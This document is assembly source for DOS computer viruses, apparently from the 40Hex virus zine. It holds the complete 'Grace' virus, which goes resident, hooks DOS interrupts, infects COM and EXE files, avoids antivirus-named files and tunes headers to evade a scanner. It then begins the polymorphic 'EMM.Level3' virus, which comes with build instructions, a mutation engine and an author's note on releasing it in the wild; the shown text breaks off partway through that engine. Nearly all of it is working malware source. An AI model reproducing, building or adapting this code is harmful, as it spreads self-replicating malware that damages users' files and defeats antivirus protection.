; problem. :> ..If I'd known how much mucking around this virus would
; have taken to write before I'd written it, I wouldn't have bothered.
; But I didn't, so I did, and here's the final product. It works! ;)
;
; There's a lot of commenting on this thing (left over from a tutorial I
; did for someone) so it's not *too* difficult to understand if you are
; taking a stroll through the code.. it's also pretty modular and some parts
; have just been fitted in without much optimization (eg the filename
; and extension checking routine could have been redone because there's only
; 2 allowable extensions).
;
; Apart from residing around the middle of the host it's pretty much just
; your standard virus.. it infects COM/EXE files on open, attrib, exec,
; move, and extended open.. also on program termination via function 4ch
; there's a chance the happy message "Have a nice DOS!" or "Have a nice
; piss-up!" will appear after blanking the screen. I personally hate
; programs which think they're being humourous with this little number, so
; there you go.. have fun.
;
; -T<>L<EFBFBD>N 02/95-
;
;==============================================================================
;
; when you run it, run it with a debugger, at the entry point to the actual
; virus (ie not the relocation wrapper) needs PSP in BP, and virus offset
; in memory in DI .. ie 100h if you're executing the kernal. in other
; words, there's no way this virus can be 'accidentally' compiled and
; run, because it will crash unless you do the above step..
;
;------------------------------------------------------------------------------
;
; Some equates and stuff for use within the virus ..
;
org 0 ; will be assembled with start of 0
@JO equ 070h ; JO operand for variable branch
@JMPS equ 0ebh ; JMP SHORT
@tsrchk equ 6968h ; our tsr check
p_len equ 5120/16 ; amount of memory we take up
@marker equ 'PK' ; marker for infected file
load equ 1536 ; scratch area offset
vstack equ 1536 ; ceiling for our own stack .. = load
k_len equ 52 ; length of relocation code
ek_len equ 36 ; length of extra relocation code
s_len equ 48 ; length of temp EXE stack
;------------------------------------------------------------------------------
; assumes DI points to virus start
; ES = PSP
v_start: push di
mov cx, cs
mov ax, @tsrchk ; int 21h will return an error
int 21h ; unless our virus is already TSR
xor bx, ax ; is bx xor ax = 0 ?? (will be if TSR)
jz bail ; jump if zero to a bail routine
; otherwise install ourselves TSR.
mov ax, bp ; in segment PSP-1 is the MCB chain.
dec ax ; We will edit that to get us some
; memory to hide in.
memloop: mov ds, ax ; set data segment
cmp byte ptr [0], 'Z' ; is it the last block?
je fixmem
mov bx, ax ; keep segment of prev. block
add ax, word ptr [3] ; AX now equals seg of next MCB
inc ax
jmp short memloop ; and check it ..
fixmem: cmp word ptr [3], p_len*10 ; is block too small?
jae fm_ok
mov ds, bx ; yeah, use previous block
xchg ax, bx
fm_ok: sub word ptr [3], p_len ; steal the memory we need
add ax, word ptr [3] ; get its segment value
inc ax
mov word ptr [12h], ax ; and feed it to the PSP of
; the host program - otherwise
; command.com will crash
mov es, ax ; ES = destination segment for
push cs ; the move..
pop ds ; DS = source segment
xor di, di
push cx
mov cx, v_len ; # of bytes to move
cld ; forward direction...
rep movsb ; move CX bytes ds:si -> es:di
pop cx
gethi: push es ; push dest. seg on stack
mov ax, offset dms ; and the offset of where to go
push ax
retf ; and jump there.
dms: xor ax, ax
mov ds, ax
mov si, 21h*4 ; offset of int 21h vector
movsw ; mov word from DS:SI to ES:DI
movsw ; and again
sub si, 4
mov word ptr [si], offset new21 ; revector int 21h
mov word ptr [si+2], cs
; we have saved the old int 21h value so we can still jump to it, and we have
; put our offset and segment in its place -- so every time an int 21h call
; is issued, control is passed to the virus. Now let's split.
xor si, si ; zero si since we've relocated
bail: mov es, bp ; restore to ES the PSP segment
push cs ; and let DS be our CS
pop ds
add si, offset old_shit ; point SI to our old data
gl: jo exit_exe ; JO changed to JMP in EXE
mov di, 0100h ; COMs always start execution
add sp, 2
push bp ; at PSP:100h
push di
movsw ; restore host's original 5
movsw
movsb
jmp short zero_shit ; split
exit_exe: add bp, 10h
lodsw
add ax, bp
xchg ax, bx
lodsw
pop di
relo_stuff: mov ss, bx
xchg ax, sp
lodsw ; now get the starting address
xchg ax, bx ; from where we've stored it.
lodsw
add ax, bp
mov ds, cx
xchg si, di ; DS:SI = relocation table
push ax ; push exe CS:IP onto stack...
push bx
lodsw ; # of relocation items
xchg cx, ax
jcxz rldone
relo_loop: lodsw ; relocate them...
xchg ax, di
lodsw
add ax, bp
mov es, ax
add word ptr es:[di], bp
loop relo_loop
rldone: sub bp, 10h
zero_shit: xor ax, ax ; clean our hands
mov bx, ax
mov cx, ax
cwd
mov si, ax
mov di, ax
mov ds, bp ; DS=ES=PSP ..
mov es, bp
mov bp, ax ; everything = 0...
retf ; I didn't see nothin!
old_shit: int 20h ; 4 words to store either the
dw 0,0,0 ; old EXE header values or the
; old COM header info.
db '-[Grace] by T<>L<EFBFBD>N 94-'
;
; end of installation routine.
;
;------------------------------------------------------------------------------
;
; The 'Have a nice DOS!' or 'Have a nice piss-up!' effect.
;
hahaha: in al, 40h
cmp al, 0e0
jbe ha_ex
push bx
push dx
push ds
mov ah, 0fh
int 10h ; get video mode
xor ah, ah
int 10h ; clear that mode's screen
mov ah, 2
xor dx, dx
int 10h
push cs
pop ds
mov ah, 9
mov dx, offset msg ; print the msg
call i21
in al, 40h
xchg ah, al
in al, 40h
xor al, ah
cmp al, 0a0h
jbe nicedos
mov dx, offset XXXX
jmp short prp
nicedos: mov dx, offset doss
prp: mov ah, 9
call i21
pop ds
pop dx
pop bx
ha_ex: jmp short yeppo
db 'You make me sick I make viruses'
;------------------------------------------------------------------------------
new21: cmp ax, @tsrchk ; is it us checking residence?
jne n2
mov bx, ax ; yep, make BX = AX
iret ; and return from interrupt.
n2: push ax
xchg ah, al
cmp al, 3dh ; OPEN?
je letsgo
cmp al, 43h ; ATTRIB?
je letsgo
cmp al, 4bh ; EXEC?
je letsgo
cmp al, 4ch ; EXIT?
je hahaha
cmp al, 56h ; RENAME?
je letsgo
cmp al, 6ch ; EXT_OPEN?
jne yeppo
push dx
mov dx, si
call infect
pop dx
jmp short yeppo
letsgo: call infect ; call the infection routine
yeppo: pop ax ; restore AX
n21_2: jmp dword ptr cs:[old21] ; and act as if nothing's up
new24: mov al, 3 ; a cool critical error handler
iret
file_end: mov ax, 4202h ; some internal virus functions
jmp short seek_vals
file_zero: mov ax, 4200h
seek_vals: xor cx, cx
xor dx, dx
i21: pushf ; simulate an int 21h
push cs
call n21_2
ret
; the working horse of the virus.
infect: push ax ; save all the registers
push bx ; that we'll be screwing with
push cx
push dx
push si
push di
push ds
push es
; now, we need to save the name of the file we're dealing with at a permanent
; location so that it's easier to reference. We also need to check to see if
; it's an invalid filename (ie. contains SC (eg Scan), CL (clean) etc etc.).
push cs
pop es
mov di, offset filename
mov si, dx ; on all the above calls,
; DS:DX points to the filename.
; we put it in SI for the LODSB
; instruction.
storename: lodsb ; [DS:SI] -> AL
stosb ; AL -> [ES:DI]
or al, al ; is it 0 (end of ASCIIZ string)?
jnz storename ; if not, keep going
push cs ; toss out old data segment,
pop ds ; we don't need it now.
; now we check the name and the extension.
; [this could do with a rewrite]..
mov dx, di
sub dx, 4 ; DX points to extension
lea si, [di-12] ; SI = DI - 12
cmp si, offset filename+1 ; is it too far back?
jae kkk1
mov si, offset filename+1 ; yep, point it right
kkk1: dec si
cmp si, dx ; is SI up to extension yet?
je kkk2
lodsw ; no, check the word at SI...
and ax, 0dfdfh ; capitalize the letters
push di
mov di, offset fucks
mov cx, @fucks ; 4 things to check for...
repne scasw ; this is:
; "keep comparing AX to [ES:DI]
; while AX <> [ES:DI] or until
; CX = 0. ie find if AX matches
; any of the disallowed things.
pop di
jne kkk1 ; try next 2 if no match..
jmp short ncexit_err ; otherwise we don't infect.
kkk2: mov di, offset exts ; valid extensions
mov cx, @exts
cld
lodsw
and ax, 0dfdfh ; -> uppercase
extchk: scasw ; does AX match extension?
je extchk_2
inc di ; nope, try next extension
loop extchk ; loop until cx=0
ncexit_err: jmp bitch ; .. if not valid extension,
; terminate infection routine
extchk_2: lodsb ; otherwise check 3rd byte
and al, 0dfh
scasb
jne ncexit_err
; set int 24h to our own so we don't get annoying "Write protect error" etc.
set24: mov ax, 3524h ; get int 24h vector
call i21
push es ; save it on the stack
push bx
mov dx, offset new24
mov ax, 2524h ; set int 24h vector
call i21
push cs
pop es
; now set the file attributes to zero...
setattrib: mov ax, 4300h ; AX=4300h, Get attribs of file
mov dx, offset filename ; DS:DX, filename
call i21
push cx ; ..save them..
mov ax, 4301h
xor cx, cx
call i21 ; and zero them out.
jc bitch1 ; if error, bail ...
; now we can safely open the file.
mov ax, 3d02h ; open file, read/write access
call i21
xchg ax, bx ; put file handle into bx
mov ax, 5700h ; get the file's date/time
call i21
push cx
push dx
; check to see if the file is a COM or an EXE, according to its hdr structure.
call file_zero ; seek to beginning of file
mov ah, 3fh
mov cx, 26
mov dx, offset signature
call i21 ; read 24 bytes (header info)
xor ax, cx ; bail if < 26 bytes read
jnz bitch2
mov ax, @marker ; is there an infection marker?
cmp word ptr [signature+3], ax ; [com]
je bitch2 ; yep, it's already infected
cmp word ptr [chksum], ax ; [exe]
je bitch2
mov si, dx
lodsb
cmp al, 'M' ; EXEs start with MZ or ZM
je goexe
cmp al, 'Z'
je goexe
call cominf ; otherwise it's a COM file
jmp short write_hdr
goexe: call exeinf
write_hdr: call file_zero ; seek to start of file
mov ah, 40h
mov cx, 26
mov dx, offset signature
call i21 ; write patched header
bitch2: pop dx ; restore the file's date/time
pop cx
mov ax, 5701h
call i21
mov ah, 3eh ; and close it.
call i21
bitch1: pop cx ; restore file's original
mov ax, 4301h ; file attributes
mov dx, offset filename
call i21
pop dx ; get original i24h
pop ds
mov ax, 2524h
call i21 ; and reinstate it
bitch: pop es ; restore all the registers...
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
ret ; and exit the infect routine.
cominf: mov di, offset old_shit
stosb
movsw ; save first 5 bytes
movsw
call file_end
or dx, dx ; COM >64k?
jnz com_done
cmp ax, 0f800h ; COM >60k?
jae com_done
push ax
mov byte ptr [gl], @JO
mov word ptr [k1+1], 0
; we need a random value between 5 and (eof-v_len)
sub ax, (v_len)+5
jc com_done2
call rnd_num
add ax, 105h ; DX:AX is file offset of virus
mov word ptr [k2+1], ax
dec ah
push ax
call file_end
add ax, v_len + k_len + 100h
mov word ptr [k3+1], ax
pop ax
stc
call write_us
mov di, offset signature
mov al, 0e9h ; now build us a JMP
stosb
pop ax
dec ax ; ...
dec ax
dec ax
stosw
mov ax, @marker ; put in the infection marker
stosw
com_done: ret
com_done2: pop ax
ret
; this EXE infection is quite exhaustive in order to screw up the least amount
; of EXE files possible. A virus shows itself up when it wrecks things ..
; therefore it makes sense not to wreck things, hmm?
exeinf: ; we have to check for internal overlays
; if present, don't infect the file
call file_end
push ax ; check for internal overlays
push dx
mov ax, word ptr [page_cnt] ; calculate how big the code
mov cx, 512 ; part of the EXE is, according
mul cx ; to its header info ...
pop cx
pop bp
cmp ax, bp ; and compare it to the actual
jb com_done ; file's size.
cmp dx, cx ; if calc<actual then it must have
jb com_done ; internal overlays -- bail.
; store the old SS:SP, CS:IP
mov di, offset old_shit
mov si, offset relo_ss
movsw
movsw
lodsw
movsw
movsw
; append k_code to EOF & find a block to move as well...
call file_end
mov byte ptr [gl], @JMPS
mov cx, 10h ; # of paragraphs in whole file
div cx
sub ax, word ptr [hdr_size] ; except the header
mov word ptr [relo_cs], ax
dec ax
mov word ptr [relo_ss], ax
mov word ptr [exe_ip], dx
push dx
xchg ax, dx
add ax, v_len + ek_len + k_len
mov word ptr [k3+1], ax
mov word ptr [ek1+1], ax
; the minmem/maxmem stuff is not really necessary to the
; viability of infection, but TBAV screams if the header
; isn't perfect. One less thing for TBAV to pick up...
mov ax, -10240/16 ; a -ve value to save code
cmp word ptr [minmem], ax ; (hehe is 10k enough??)
jae di0
sub word ptr [minmem], ax ; subtract -ve = add
di0: cmp word ptr [maxmem], ax
jae dont_inc
sub word ptr [maxmem], ax
dont_inc: pop ax
add ax, v_len + ek_len + k_len + s_len + 10h
mov cx, word ptr [relocnt]
shl cx, 1
shl cx, 1
add ax, cx
shr ax, 1 ; make SP even
shl ax, 1
mov word ptr [exe_sp], ax
call file_end ; calculate the size of the file
push dx ; minus the header
push ax
mov ax, word ptr [hdr_size]
mov dx, 10h
mul dx
mov word ptr [hdr], ax
mov word ptr [hdr+2], dx
pop ax
sub ax, word ptr [hdr]
pop dx
sbb dx, word ptr [hdr+2]
sub ax, v_len
sbb dx, 0
call rnd_num ; & select a random # in that range
push ax
push dx
mov cx, 10h
div cx
add ax, 10h
mov word ptr [k1+1], ax
mov word ptr [k2+1], dx
pop dx
pop ax
add ax, word ptr [hdr]
adc dx, word ptr [hdr+2]
clc
call write_us
mov cx, 512 ; calculate new # of code pages
div cx
or dx, dx ; any bits left over?
jz fp2
inc ax ; yes, inc # pages
fp2: mov word ptr [part_page], dx ; update the info
mov word ptr [page_cnt], ax
mov word ptr [chksum], @marker ; tag as infected
ret
write_us: ; calling parameters:
; k1, k2 and k3 have been taken care of
; DX:AX contains file offset of part to save & overwrite
; this routine was once simple, but programming nightmares
; caused it to get cancerous outgrowths.
; (although i prefer not to call my programming a cancerous
; outgrowth)...
pushf
mov cx, dx
xchg ax, dx
mov ax, 4200h
call i21 ; seek to this area
popf
push ax
push dx
mov dx, offset load
mov cx, v_len
push cx
push dx
mov ah, 3fh
pushf
call i21 ; read old contents
call file_end
mov cx, k_len
mov dx, offset k_kode
popf
pushf
jc wu2
; deviation for exe files
add cx, ek_len
mov dx, offset ek_kode
wu2: mov ah, 40h
call i21 ; write the entry beast
popf
pop dx
pop cx
pushf
mov ah, 40h
call i21 ; write the displaced code
popf
pop cx
pop dx
pushf
mov ax, 4200h
call i21 ; seek to area we got it from
mov ah, 40h
mov cx, v_len
xor dx, dx
call i21 ; & write over it with ourself
call file_end
popf
jc wuret
; write the EXE header to EOF
mov ah, 40h
mov cx, 2
mov dx, offset relocnt
call i21
xor cx, cx
mov dx, word ptr [tabloff]
mov ax, 4200h
call i21 ; seek to reloc'n table start
mov cx, word ptr [relocnt]
shl cx, 1
shl cx, 1
jcxz reloend
move_reloc: push bp ; moves the relocation table
push ax ; to EOF...
push dx
mov ax, 3072 ; = size of blocks to move
mov bp, ax ; (3k at a time)
cmp cx, ax
jb mr2
mov word ptr [mr1+1], ax
sub cx, ax
pop dx
pop ax
add ax, bp
adc dx, 0
push ax
push dx
push cx
jmp $+2 ; clear the prefetch queue
mr1: mov cx, 0
mr2: mov ah, 3fh
mov dx, offset load
push dx
call i21
push ax
call file_end
pop cx
mov ah, 40h
pop dx
call i21
pop cx
jcxz reloend2
mov bp, cx
pop cx
pop dx
mov ax, 4200h
call i21
mov cx, bp
pop bp
jmp short move_reloc
reloend2: pop bp
pop bp
reloend: mov word ptr [relocnt], 0
call file_end
mov ah, 40h
mov cx, s_len
call i21 ; add a stack
call file_end
wuret: ret ; and return.
rnd_num: ; calling parameters:
; DX:AX contains dword, highest # allowed
; returns:
; DX:AX the selected offset
; CX destroyed
push dx
push ax
xor ax, ax ; get an arbitrary number
int 1ah
xchg cx, dx
pop ax
pop dx
or dx, dx ; is DX:AX <64k?
jnz rn2
rn1: cmp ax, cx ; is denominator bigger than
jnb rn2 ; the numerator?
shr cx, 1
jmp short rn1
rn2: div cx ; divide DX:AX by CX
mul cx ; and multiply again
ret ; (got rid of remainder)
; data ..
msg db 'Have a nice $'
XXXX db 'piss-up!',0d,0a,'$' ; sink some XXXX ales..
doss db 'DOS!',0d,0a,'$'
fucks db 14h,'DCOSCCLVSF-' ; invalid words in filename
;^^^ this is '4' AND 0DFh, to fit in with capitalization routine
@fucks equ ($-fucks)/2
exts db 'COMEXE' ; valid extensions
@exts equ ($-exts)/3
;------------------------------------------------------------------------------
; This is the actual entry point of the infected file.
; Its job is to relocate the actual virus from elsewhere in the file
; and patch up the area where the virus was with the old data.
ek_kode: mov bp, ds ;2 ; this is only written on EXE infection
push cs ;1
pop ds ;1
push cs ;1
pop es ;1
ek1: mov si, 0 ;3 ; same as k3
lodsw ;1 ; first word = # of relocation items
shl ax, 1 ;2
shl ax, 1 ;2
add si, ax ;2
lea di, [si+v_len] ;4 ; where to reloc'n items to
lea sp, [di+s_len+10h] ;3
push ax ;1
xchg ax, cx ;1
std ;1
jcxz ekdone ;2
rep movsb ;2 ; move the relocation table
movsb ;1
ekdone: movsb ;1
movsb ;1
cld ;1
mov ds, bp ;2
k_kode: mov ax, ds ;2
mov bp, ax ;2
k1: add ax, 0 ;3 ; seg displacement of virus code
mov ds, ax ;2
k2: mov si, 0 ;3 ; ofs displacement of virus code
push cs ;1
pop es ;1
k3: mov di, 0 ;3 ; where we want to move it
mov cx, v_len ;3
rep movsb ;2
push ds ;1 ; now we restore the old data
push es ;1
pop ds ;1 ; exchange the segments
pop es ;1
xchg si, di ;2 ; and pointers
mov ax, v_len ;3
sub si, ax ;2 ; and adjust them
sub si, ax ;2
push si ;1
sub di, ax ;2
xchg ax, cx ;1
push cx ;1
rep movsb ;2
push cs ;1 ; now it's done.. make segs ours..
pop es ;1
pop cx ;1
pop di ;1
rep movsb ;2 ; copy virus code to v_end...
jmp $+2 ;2 ; and clear processor's prefetch queue
xchg si, di ;2 ; si points to virus code
; di points to relocation info
;52 bytes
v_end:
;------------------------------------------------------------------------------
;
; data which needn't be carried around when the virus spreads.
;
old21 equ $
hdr equ old21 + 4 ; store for calc'd length of EXE header
reloc equ hdr + 4 ; temp store for relocation data in EXE
signature equ reloc + 4 ; where we load the host file's header
part_page equ signature + 2 ; part-page at EOF ((this is for EXE header))
page_cnt equ part_page + 2 ; count of code pages
relocnt equ page_cnt + 2 ; # of relocation items in table
hdr_size equ relocnt + 2 ; size of header in paragraphs
minmem equ hdr_size + 2 ; minimum memory required
maxmem equ minmem + 2 ; maximum memory required
relo_ss equ maxmem + 2 ; displacement of stack segment (SS)
exe_sp equ relo_ss + 2 ; stack pointer (SP)
chksum equ exe_sp + 2 ; infection marker in EXEs
exe_ip equ chksum + 2 ; instruction pointer (IP)
relo_cs equ exe_ip + 2 ; displacement of code segment (CS)
tabloff equ relo_cs + 2 ; offset of EXE relocation table
; 26 bytes for EXE header
oldss equ tabloff + 2
oldsp equ oldss + 2
filename equ oldsp + 2 ; filename of target file
v_len equ v_end - v_start
;
; the end.
;
;------------------------------------------------------------------------------
40Hex Number 14 Volume 5 Issue 1 File 010
comment %
Dear Virus Friends,
dis is so far my latest production.
It is a polymorphic virus that uses some stealth techniques.
After execution of infected file, it goes memory-resident and hits com'n'exe
on execution or creation.
There are two interesting features to this.
First it is the polymorphic engine that generates two-phase decrypting routine.
First phase consists of various instructions, among them some decrypt phase two.
Phase two is a regular cyclical decryptor. (By altering phase two you probably
can avoid detection by the virus scanners.)
Second feature is demobilising of resident virus utilities (see source code
of function "eliminate_av" for further details).
Well, after I planted this virus in the field, I was told it does not run
on 486s. The problem is that prefetch queue is longer on 486 than on my home
machine and that's why self modyfying code does not work. Well, sorry for
that, I really didn't mean to.
To correct this problem, follow the instructions in the source code
marked by "#####".
To get a working copy of original EMM.Level3 virus do the following:
tasm level3.asm (I used ver. 2.51; do not use /M switch)
tlink level3.obj (I used ver. 4.00)
level3.exe
Btw, I am Vyvojar, and you may have met Explosion and One Half - the forerunners
to Level3.
(pre SVL: na stretnutie sa tesim :)) - len neviem ako sa skontaktujeme ...
skuste sa na mna spytat na irc - kanal #virus)
%
.model small
.stack 80h
host_segment segment
mov ax,4c00h
int 21h
host_segment ends
virus_segment segment
assume cs:virus_segment,ds:virus_segment
start_virus label near
DEPTH=5*3
sstack db DEPTH dup(?)
ssp dw DEPTH ;stack simulation
LENOVER=DEPTH ;length of overwritable bytes
LENVIR=(offset end_virus-offset start_virus)
LENHBUF=700 ;length of header buffer (for phase 1)
EXTENTION=(16+LENVIR+LENHBUF) ;by this number infected file grows
DEPSTACK=80h
LENFNB=64 ;length of file name buffer
LENDEC=(edec-sdec) ;decoder length (phase 2)
MEMPOS=04fbh ;memory location for far jump within segment 0000h
ORDER=25
strc struc ;structure for exe header
id dw ?
lpage dw ?
pages dw ?
items dw ?
parps dw ?
min dw ?
max dw ?
vSS dw ?
vSP dw ?
flag db ? ;com/exe determination
db ?
vIP dw ?
vCS dw ?
strc ends
bheader strc <1,,,,,,,0,,1,,0,0>
v16 dw 16
v30 dw 30
v512 dw 512
;********************** Explosion's Mutation Machine *********************
db '* EMM 1.0 *'
rnd_get:
push si
push ax
push bx
push cx
push dx
db 0b9h
rnd2 dw ?
db 0bbh
rnd1 dw ?
mov dx,015ah
mov ax,4e35h
xchg ax,si
xchg ax,dx
test ax,ax
jz rnd_l1
mul bx
rnd_l1: jcxz rnd_l2
xchg ax,cx
mul si
add ax,cx
rnd_l2: xchg ax,si
mul bx
add dx,si
inc ax
adc dx,0000h
mov cs:rnd1,ax
mov cs:rnd2,dx
mov ax,dx
pop cx
xor dx,dx
jcxz rdbz ;division by zero
div cx
jmp short danilak_vyskumnik
rdbz: xchg dx,ax ;if dx=0 on input then interval 0-ffff
danilak_vyskumnik:
pop cx
pop bx
pop ax
pop si
retn
registers label near ;flag,value,offset when w=0 (operation with byte)
rax db 3 dup(?),(offset rax-offset registers)
rcx db 3 dup(?),(offset rcx-offset registers)
rdx db 3 dup(?),(offset rdx-offset registers)
rbx db 3 dup(?),(offset rbx-offset registers)
rsp db 3 dup(?),(offset rax-offset registers)
rbp db 3 dup(?),(offset rcx-offset registers)
rsi db 3 dup(?),(offset rdx-offset registers)
rdi db 3 dup(?),(offset rbx-offset registers)
res db 4 dup(?)
rflag db 4 dup(?)
;bits in flag:
; 0 = lo part of register set if 1
; 1 = hi part of register set if 1
; 2 = don't change value of register if 1 (for sp)
fw db ? ;fw=0 when byte operation, fw=1 when word operation
choose:
push ax ;selection of routine according to the table
push cx ;ds:si points to the table
push dx ;table is in the format: byte/probability
push si ; word/adr of routine
xor cx,cx ;table ends with 0ffh
take_next: lodsb
cbw
add cx,ax
cmp al,0ffh
lodsw
jne take_next
inc cx ;subtract 0ffffh
pop si
mov dx,cx
call rnd_get
try_next: lodsb
cbw
sub cx,ax
lodsw
cmp dx,cx
jb try_next
xchg si,ax
pop dx
pop cx
pop ax
jmp si ;jump to the selected routine
getaddr: ;get addr of reg within registers table
push ax
push bx
mov si,dx
shl si,1
shl si,1
mov bx,offset registers
add si,bx
mov ch,3 ;mask for word register
cmp fw,0
jne chsl
add si,3
lodsb
cbw
xchg si,ax
add si,bx
dec ch ;mask for hi byte of reg
test dl,04h
jnz chsl
dec ch ;mask for lo byte of reg
chsl: pop bx
pop ax
retn
gregl: ;select target reg (output in dx)
push cx
push si
gregl_other: mov dx,8
call rnd_get
call getaddr
test byte ptr [si],04h ;can I modify value of reg?
jnz gregl_other
pop si
pop cx
retn
gregp: ;select source reg with defined value (output in dx)
push ax
xor ah,ah
jmp short kazisvet_prefikany
gregls: ;select target reg with defined value (output in dx)
push ax
gl108: mov ah,04h
kazisvet_prefikany:
push cx
push si
push bp
mov dx,8
call rnd_get
mov bp,dx
xor dx,dx
mov cl,dl
grdl1: call getaddr
lodsb
test al,ah
jnz grng1
and al,03h
cmp al,03h
je vrah_pocitacovy_kosicky
cmp al,ch
jne grng1
vrah_pocitacovy_kosicky:
inc cx
dec bp
js tulen_bacil
grng1: inc dx
cmp dx,8
jb grdl1
or cl,cl
jnz gra1v
stc
jmp short grnv
gra1v: and dx,07h
jmp grdl1
tulen_bacil: clc
grnv: pop bp
pop si
pop cx
pop ax
retn
wtreg: ;write value into reg
push cx
push si
call getaddr
inc si
cmp ch,3
jne wtw1
mov [si],ax
jmp short wtb1
wtw1: cmp ch,1
je panko_revizor
inc si
panko_revizor: mov [si],al
wtb1: pop si
pop cx
retn
rfreg: ;read value from reg
push cx
push si
call getaddr
inc si
cmp ch,3
jne rfw1
lodsw
jmp short rfb1
rfw1: cmp ch,1
je rfnp
inc si
rfnp: lodsb
rfb1: pop si
pop cx
retn
shl3fw:
or al,fw
shl3dl:
push dx
mov cl,3
shl dl,cl
or ah,dl
pop dx
retn
;************************* generating of MOV *********************
;generating of mov reg,imm
mt1:
call gregl
push dx
mov al,fw
mov cl,3
shl al,cl
or al,10110000b
or al,dl
stosb
xor dx,dx
call rnd_get
xchg ax,dx
pop dx
call wtreg
call getaddr
or [si],ch
cmp ch,3
jne bt1
stosw
jmp wd1
bt1: stosb
wd1: retn
;generating of mov reg,reg
mt2:
call gregp
jc wd1
call rfreg
push ax
mov ax,1100000010001010b
or al,fw
or ah,dl
mov bx,dx
nti1: call gregl
cmp bx,dx
je nti1
call shl3dl
stosw
pop ax
call wtreg
call getaddr
or [si],ch
retn
chtab00 db 45
dw offset mt1
db 45
dw offset mt2
db 3
dw offset mt6
db 3
dw offset mt7
db 1
dw offset mt3
db 1
dw offset mt4
db 1
dw offset mt5
db 0ffh
gmovr:
mov si,offset chtab00
jmp choose
;generating of mov ds,reg
mt5:
mov fw,1
test res+3,1
jnz mt5err ;if ds is set to cs, do nothing
call gregp
jc mt5err
mov ax,1101100010001110b
or ah,dl
stosw
mt5err: retn
;generating of mov reg,sreg
mt4:
mov fw,1
mov dx,20h
call rnd_get
mov ax,1100000010001100b
or ah,dl
and ah,0f8h
call gregl
or ah,dl
stosw
call getaddr
and ah,00011000b
jz sppse
and byte ptr [si],0fch ;value in reg is not valid
retn
sppse: mov al,res
mov [si],al
mov ax,word ptr res+1
mov [si+1],ax
retn
;generating of mov es,reg
mt3:
mov fw,1
call gregp
jc mt3err
mov ax,1100000010001110b
or ah,dl
stosw
call rfreg
or res,3
mov word ptr res+1,ax
mt3err: retn
;generating of xor X,X
mt6:
mov al,00110010b
jmp short com67
;generating of sub X,X
mt7:
mov al,00101010b
com67: mov ah,11000000b
call gregl
or ah,dl
call getaddr
or [si],ch ;reg is set to zero and has valid value
mov word ptr ds:(offset gl102),0c032h
jmp short pcpm67
;******************** general part for OR, AND, ... ************************
perform_oper_l2:
mov al,fw
add byte ptr ds:(offset gl102),al
call rfreg
mov bp,word ptr rflag+1
push bp
popf
sti
cld
gl102: or al,bl
pushf
pop bp
mov word ptr rflag+1,bp
jmp wtreg
perform_oper_l1:
call perform_oper_l2
or rflag,1
retn
chtab01 db 45
dw offset ot1
db 45
dw offset ot2
db 10
dw offset ot3
db 0ffh
ggen2:
lodsb
mov ah,0c3h
mov word ptr ds:(offset gl102),ax
lodsb
mov byte ptr ds:(offset gl104+1),al
lodsb
mov ah,11000000b
mov word ptr ds:(offset gl105+1),ax
lodsw
mov word ptr ds:(offset gl106+1),ax
mov si,offset chtab01
jmp choose
;generating of ins a?,imm
ot3:
xor dx,dx
call getaddr
lodsb
and al,03h
cmp al,03h
je ot3obn
cmp al,ch
jne ot1
ot3obn: push dx
gl104: mov al,00001100b
or al,fw
stosb
jmp short tozti
;generating of ins reg,reg
ot2:
call gregp
jc wdort1
call rfreg
xchg bx,ax
gl105: mov ax,1100000000001010b
or ah,dl
call gregls
jc wdort1
pcpm67: call shl3fw
stosw
jmp perform_oper_l1
;generating of ins reg,imm
ot1:
call gregls
jc wdort1
push dx
gl106: mov ax,1100100010000000b
or al,fw
or ah,dl
stosw
tozti: xor dx,dx
call rnd_get
mov bx,dx
pop dx
call perform_oper_l1
xchg ax,bx
cmp fw,0
je bort1
stosw
jmp wdort1
bort1: stosb
wdort1: retn
;*********************** generating of OR ***************************
orrdat db 0ah ;oper AL,BL ... inc ... oper AX,BX
db 00001100b ;oper a?,imm
db 00001010b ;oper reg,reg
dw 1100100010000000b ;oper reg,imm
gorr:
mov si,offset orrdat
pgen21: jmp ggen2
;*********************** generating of AND ***************************
andrdat db 22h ;oper AL,BL ... inc ... oper AX,BX
db 00100100b ;oper a?,imm
db 00100010b ;oper reg,reg
dw 1110000010000000b ;oper reg,imm
gandr:
mov si,offset andrdat
jmp pgen21
;*********************** generating of XOR ***************************
xorrdat db 32h ;oper AL,BL ... inc ... oper AX,BX
db 00110100b ;oper a?,imm
db 00110010b ;oper reg,reg
dw 1111000010000000b ;oper reg,imm
gxorr:
mov si,offset xorrdat
pggen2: jmp pgen21
;*********************** generating of TEST **************************
testrdt db 84h ;oper AL,BL ... inc ... oper AX,BX
db 10101000b ;oper a?,imm
db 10000100b ;oper reg,reg
dw 1100000011110110b ;oper reg,imm
gtestr:
mov si,offset testrdt
ggen3: mov byte ptr ds:(offset gl108+1),00h ;target register can be any register set to proper value
call ggen2
mov byte ptr ds:(offset gl108+1),04h ;restore
retn
;*********************** generating of CMP ***************************
cmprdat db 3ah ;oper AL,BL ... inc ... oper AX,BX
db 00111100b ;oper a?,imm
db 00111010b ;oper reg,reg
dw 1111100010000000b ;oper reg,imm
gcmpr:
mov si,offset cmprdat
jmp ggen3
;*********************** generating of ADD ***************************
addrdat db 02h ;oper AL,BL ... inc ... oper AX,BX
db 00000100b ;oper a?,imm
db 00000010b ;oper reg,reg
dw 1100000010000000b ;oper reg,imm
gaddr:
mov si,offset addrdat
jmp pggen2
;*********************** generating of SUB ***************************
subrdat db 2ah ;oper AL,BL ... inc ... oper AX,BX
db 00101100b ;oper a?,imm
db 00101010b ;oper reg,reg
dw 1110100010000000b ;oper reg,imm
gsubr:
mov si,offset subrdat
jmp pggen2
;*********************** generating of ADC ***************************
adcrdat db 12h ;oper AL,BL ... inc ... oper AX,BX
db 00010100b ;oper a?,imm
db 00010010b ;oper reg,reg
dw 1101000010000000b ;oper reg,imm
gadcr:
mov si,offset adcrdat
ggen4: test rflag,1
jnz pggen2
gg10err: retn
;*********************** generating of SBB ***************************
sbbrdat db 1ah ;oper AL,BL ... inc ... oper AX,BX
db 00011100b ;oper a?,imm
db 00011010b ;oper reg,reg
dw 1101100010000000b ;oper reg,imm
gsbbr:
mov si,offset sbbrdat
jmp ggen4
;***************** general part for INC,DEC,... ******************
chtab03 db 1
dw offset inct2
chtab04 db 1
dw offset inct1
db 0ffh
ggen11:
lodsw
mov word ptr ds:(offset gl102),ax
lodsw
mov word ptr ds:(offset gl201+1),ax
lodsb
mov byte ptr ds:(offset gl202+1),al
gl203: mov si,offset chtab03
jmp choose
